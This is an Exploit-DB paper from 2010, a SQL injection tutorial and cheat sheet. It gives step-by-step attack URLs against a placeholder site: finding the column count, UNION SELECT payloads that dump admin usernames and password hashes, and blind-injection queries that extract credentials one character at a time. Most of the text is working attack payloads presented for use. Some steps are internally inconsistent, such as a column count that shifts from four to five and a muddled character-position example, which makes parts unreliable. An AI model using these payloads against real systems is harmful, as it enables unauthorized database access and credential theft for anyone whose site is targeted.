Full SQL Injections Cheatsheet

EDB-ID: 13650	**Author**: GlaDiaT0R (https://www.exploit-db.com/author/?a=2627)	**Published**: 2010-03-27
Type: Papers (https://www.exploit-db.com/papers/)	**Platform**: Multiple (https://www.exploit-db.com/platform/?p=Multiple)	**Language**: English (https://www.exploit-db.com/papers/?l=1)
Advisory/Source: N/A	**Paper**: Download (https://www.exploit-db.com/download/13650.txt) / View Raw (https://www.exploit-db.com/raw/13650/)	

« Previous Paper (https://www.exploit-db.com/papers/13646/)

Next Paper » (https://www.exploit-db.com/papers/13651/)

```
##################################################
# [+]Title: [Full SQL Injections Cheatsheet]
##################################################
# [+] About :
##################################################
# Author : GlaDiaT0R | the_gl4di4t0r@hotmail.com<mailto:the_gl4di4t0r@hotmail.com>
# Team : DarkGh0st Team ( DarkGh0st.Com )
# Greetz: Boomrang_Victim, Marwen_Neo
##################################################
# [+] Summary: I*
# [1]-Introducing The SQL Injection Vuln
# [2]-Exploiting Sql Injection Vuln
# [3]-Exploiting Blind SQL Injection Vuln
##################################################

[1]* -Introducing The SQL Injection Vuln:
.SQL injection attacks are known also as SQL insertion
it's in the form of executing some querys in the database and getting acces to informations (SQL Vesion, Number & Names of tables and columns,some
authentification infos,ect...)

[2]* -Exploiting Sql Injection Vuln :

.Before proceeding to the exploitation of sql injections we have to checking for this vulnerability, so we have an exemple

http://www.website.com/articles.php?id=3

for checking the vulnerability we have to add ' (quote) to the url , lets see together

http://www.website.com/articles.php?id=3'

now, if we get an error like this "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."

this website is vulnerable to sql injection, and if we don't get anything we can't exploiting this vulnerability.

Now, Lets go to exploiting this vuln and finding some informations about this sql database

certainly before doing anything we have to find the number of columns

[-] Finding the number of columns:

for finding the number of columns we use ORDER BY to order result in the database

lets see that ,

http://www.website.com/articles.php?id=3 order by 1/*

and if we havn't any error we try to change the number

http://www.website.com/articles.php?id=3 order by 2/*

still no error,so we continu to change the number

http://www.website.com/articles.php?id=3 order by 3/*

no error to

http://www.website.com/articles.php?id=3 order by 4/*

no error

http://www.website.com/articles.php?id=3 order by 5/*

yeah , here we have this error (Unknown column '5' in 'order clause')

so, this database has 4 colmuns because the error is in the 5

now, we try to check that UNION function work or not

[-] Checking UNION function :

for using UNION function we select more informations from the database in one statment

so we try this

http://www.website.com/articles.php?id=3 union all select 1,2,3,4/* (in the end it's 4 because we have see the number of columns it's 4)

now, if we see some numbers in the page like 1 or 2 or 3 or 4 == the UNION function work

if it not work we try to change the /* to --

so we have this

http://www.website.com/articles.php?id=3 union all select 1,2,3,4--

after checking the UNION function and it works good we try to get SQL version

[-] Getting SQL Version :
```

now we have a number in the screen after checking the UNION

we say in example that this number is 3

so we replace 3 with @@version or version()

http://www.website.com/articles.php?id=3 union all select 1,2,@@version,4/*

and now we have the version in the screen!

lets go now to get tables and columns names

[-] Getting tables and columns names :

here we have a job to do!!

if the MySQL Version is < 5 (i.e 4.1.33, 4.1.12...)

lets see that the table admin exist!

http://www.website.com/articles.php?id=3 union all select 1,2,3,4,5 from admin/*

and here we see the number 3 that we had in the screen

now, we knows that the table admin exists

here we had to check column names:

http://www.website.com/articles.php?id=3 union all select 1,2,username,4,5 from admin/*

if we get an error we have to try another column name

and if it work we get username displayed on screen (example: admin,moderator,super moderator...)

after that we can check if column password exists

we have this

http://www.website.com/articles.php?id=3 union all select 1,2,password,4,5 from admin/*

and oups! we see password on the screen in a hash or a text

now we have to use 0x3a for having the informations like that username:password ,dmin:unhash...

http://www.website.com/articles.php?id=3 union all select 1,2,concat(username,0x3a,password),4,5 from admin/*

this is the sample SQL Injection , now, we will go to the blind sql injection (more difficult)

[3]* -Exploiting Blind SQL Injection Vuln :

first we should check if website is vulnerable for example

http://www.website.com/articles.php?id=3

and to test the vulnerability we had to use

http://www.website.com/articles.php?id=3 and 1=1 (we havn't any error and the page loads normally)

and now

http://www.website.com/articles.php?id=3 and 1=2

here we have some problems with text, picture and some centents ! and it's good! this website is vulnerable for Blind SQL Injection

we have to check MySQL Version

[-] Getting MySQL Version :

we use substring in blind injection to get MySQL Version

http://www.website.com/articles.php?id=3 and substring(@@version,1,1)=4

we should replace the 4 with 5 if the version is 5

http://www.website.com/articles.php?id=3 and substring(@@version,1,1)=5

and now if the function select do not work we should use subselect and we should testing if it work

[-] Testing if subselect works :

http://www.website.com/articles.php?id=3 and (select 1)=1 (if the page load normaly the subselect works good)

and now we have to see if we have access to mysql.user

http://www.website.com/articles.php?id=3 and (select 1 from mysql.user limit 0,1)=1 (if it load normaly we have access to mysql.user)

now, we can checking table and column names

[-] Checking table and column names :

http://www.website.com/articles.php?id=3 and (select 1 from users limit 0,1)=1

if the page load normaly and no errors the table users exists

now we need column name

http://www.website.com/articles.php?id=3 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

if the page load normaly and no errors the column password exists

now we have the table and the column , yeah, we can exploiting the vunlnerability now

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80

the page load normaly and no errors,so we need to change the 80 for having an error

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>90

no errors ! we continu

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

Yeah!! an error

the character is char(99). we use the ascii converter and we know that char(99) is letter 'c'

to test the second character we change ,1,1 to ,2,1

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),2,1))>99

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>99

the page load normaly

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>104

the page loads normally, higher !!!

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>107

error ! lower number

http://www.website.com/articles.php?id=3 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>105

Error That we search!!

now, we know that the second character is char(105) and that is 'i' with the ascii converter. We have 'ci' now from the first and the second charactets

our tutorial draws to the close!

Thanks you for reading and i hope that you have understand SQL Injection and exploitations of this vulnerability .

« Previous Paper

Next Paper »